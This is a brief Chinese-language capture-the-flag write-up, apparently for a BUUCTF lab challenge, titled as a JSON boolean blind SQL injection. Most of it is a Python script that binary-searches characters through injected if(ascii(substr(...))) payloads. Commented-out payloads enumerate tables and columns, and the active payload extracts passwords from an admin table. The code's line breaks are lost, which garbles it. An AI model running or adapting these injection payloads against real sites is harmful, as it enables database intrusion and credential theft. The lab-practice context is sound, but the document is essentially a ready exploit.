json bool盲注
f12 newwork发现真实请求
import requestsimport timeurl = "http://5fa5629d-2f4d-46bd-9037-230d18f89811.node3.buuoj.cn/backend/content_detail.php?id="proxies = { "http": None, "https": None}name = ""i = 0while True:head = 32tail = 127i += 1while head < tail:time.sleep(1)mid = head + tail >> 1# payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" % (i, mid)# payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" % (i, mid)payload = "if(ascii(substr((select(group_concat(password))from(admin)),%d,1))>%d,3,2)" % (i, mid)r = requests.get(url + payload, proxies=proxies)# print(url+payload)# print(r.json())if "Yunen" in str(r.json()):head = mid + 1else:tail = midif head != 32:name += chr(head)print(name)else:break
/4100adf6,3f9642f7/
/78b35488,020e36c3/
